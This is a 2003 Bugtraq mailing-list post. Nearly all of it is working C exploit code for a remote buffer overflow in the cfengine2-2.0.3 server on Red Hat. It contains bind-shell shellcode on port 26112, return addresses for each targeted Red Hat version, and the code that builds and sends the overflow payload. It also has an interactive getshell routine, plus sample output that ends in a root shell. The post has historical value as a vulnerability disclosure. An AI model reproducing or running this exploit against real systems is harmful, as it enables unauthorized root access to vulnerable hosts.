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Date: 28 Sep 2003 04:35:03 -0000
From: yan feng <jsk@...nt0m.net>
To: bugtraq@...urityfocus.com
Subject: cfengine2-2.0.3 remote exploit for redhat
/*********************************************************************************\
* jsk / cfengine2-2.0.3 from redhat
* advisory: http://packetstormsecurity.nl/0309-advisories/cfengine.txt
* forking portbind shellcode 0port=26112) by netric
* bug discovered by nick cleaton, tested on redhat
* DSR-cfengine.pl :) i think it has some bugs.maybe it is only public
* version...... possbile another reasns.....
* the begin buf of exploit could be like "111111". so....DSR...
* by jsk from Ph4nt0m Security Team
* jsk@...nt0m.net chat with us ( irc.0x557.org #ph4nt0m)
* Greets bR-00t. eSdee.B??.lnewy.#cheese and all #ph4nt0m
* [root@...alhost tmp]# ./cnex -h 127.0.0.1 -p 5803 -t 0
*
* cfengine2-2.0.3:server remote buffer overflow exploit
* by jsk.
* Greets bR-00t and all #ph4nt0m .
*[+] Hostname: 127.0.0.1
*[+] Port num: 5308
*[+] Retaddr address: 0x4029cc2c
*[1] #1 Set codes.
*[1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:5308.
*[*] successfully connected: 127.0.0.1:5308.
*[1] #1 Send codes.
*[1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:26112.
*[*] successfully connected: 127.0.0.1:26112.
* id
*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6 ** (disk),10(wheel)
\*********************************************************************************/
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFSIZE 4136
#define D_PORT 5803
#define D_HOST "www.ph4nt0m.net"
#define TIMEOUT 10
char shell[]= /* bindshell(26112)&, netric. */
"\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
"\x6a\x02\x89\xe1\xb0\x66\x52"
"\x50\xcd\x80\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1"
"\x52\x50\xb0\x66\xcd\x80\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80"
"\x43\xb0\x66\xcd\x80\x89\xd9"
"\x93\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
struct op_plat_st
{
int op_plat_num;
char *op_plat_sys;
u_long retaddr;
int off_st;
};
struct op_plat_st __pl_form[]=
{
{0,"red 8.0",0x4029cc2c,0},
{1,"red 9.0(cmp)",0x4029cda0,0},
{2,"red 7.2 (Compile)",0x44444444,0},
{3,"red 7.3 (Compile)",0x44444444,0},
NULL
};
void banrl();
void x_fp_rm_usage(char *x_fp_rm);
unsigned short sock_connect(char *,unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
void banrl()
{
fprintf(stdout,"\n cfengine2-2.0.3:server remote buffer overflow exploit)\n");
fprintf(stdout," by jsk.\n");
fprintf(stdout," Greets Br-00t and all #ph4nt0m .\n");
}
void x_fp_rm_usage(char *x_fp_rm)
{
int __t_xmp=0;
fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
fprintf(stdout,"\t -h [hostname] - target host.\n");
fprintf(stdout,"\t -p [port] - port number.\n");
fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm);
fprintf(stdout," Select target number>\n\n");
for(;;)
{
if(__pl_form[__t_xmp].op_plat_num==(0x82))
break;
else
{
fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
}
__t_xmp++;
}
fprintf(stdout,"\n");
exit(0);
}
int main(int argc,char *argv[])
{
int port=D_PORT;
char hostname[0x333]=D_HOST;
int whlp,type=0;
unsigned int i=0;
char *buf;
int sd;
u_long retaddr=__pl_form[type].retaddr;
(void)banrl();
while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF)
{
extern char *optarg;
switch(whlp)
{
case 'T':
case 't':
if((type=atoi(optarg))<6)
{
retaddr=__pl_form[type].retaddr;
}
else (void)x_fp_rm_usage(argv[0]);
break;
case 'H':
case 'h':
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;
case 'P':
case 'p':
port=atoi(optarg);
break;
case 'I':
case 'i':
fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
exit(-1);
case '?':
(void)x_fp_rm_usage(argv[0]);
break;
}
}
if(!strcmp(hostname,D_HOST))
{
(void)x_fp_rm_usage(argv[0]);
}
{
fprintf(stdout," [+] Hostname: %s\n",hostname);
fprintf(stdout," [+] Port num: %d\n",port);
fprintf(stdout," [+] Retaddr address: %p\n",retaddr);
}
fprintf(stdout," [1] #1 Set codes.\n");
if(!(buf=(char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);
memset(buf, 0x90, BUFSIZE);
buf[0] = '1';
buf[1] = '1';
buf[2] = '1';
buf[3] = '1';
buf[4] = '1';
buf[5] = '1';
buf[6] = '1';
memset(buf+7,0x90,636);
memcpy(buf+7+636,shell, sizeof(shell));
memset(buf+7+636+strlen(shell),0x90,3500);
memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(2*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(3*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(4*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(5*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(6*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(7*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(8*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(9*sizeof(retaddr))], &retaddr, sizeof(retaddr));
fprintf(stdout," [1] #1 Set socket.\n");
sd=sock_connect(hostname,port);
fprintf(stdout," [1] #1 Send codes.\n");
write(sd,buf,BUFSIZE);
close(sd);
sleep(1);
fprintf(stdout," [1] #3 Get shell.\n");
getshell(hostname,26112);
exit(0);
}
unsigned short sock_connect(char *hostname,
unsigned short port){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname)))
printe("couldn't resolve hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("netris connection failed.",1);
alarm(0);
printf("[*] successfully connected: %s:%d.\n",hostname,port);
return(sock);
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
fprintf(stdout," [-] Failed.\n\n");
fprintf(stdout," Happy Exploit ! :-)\n\n");
if(e)
exit(1);
return;
}
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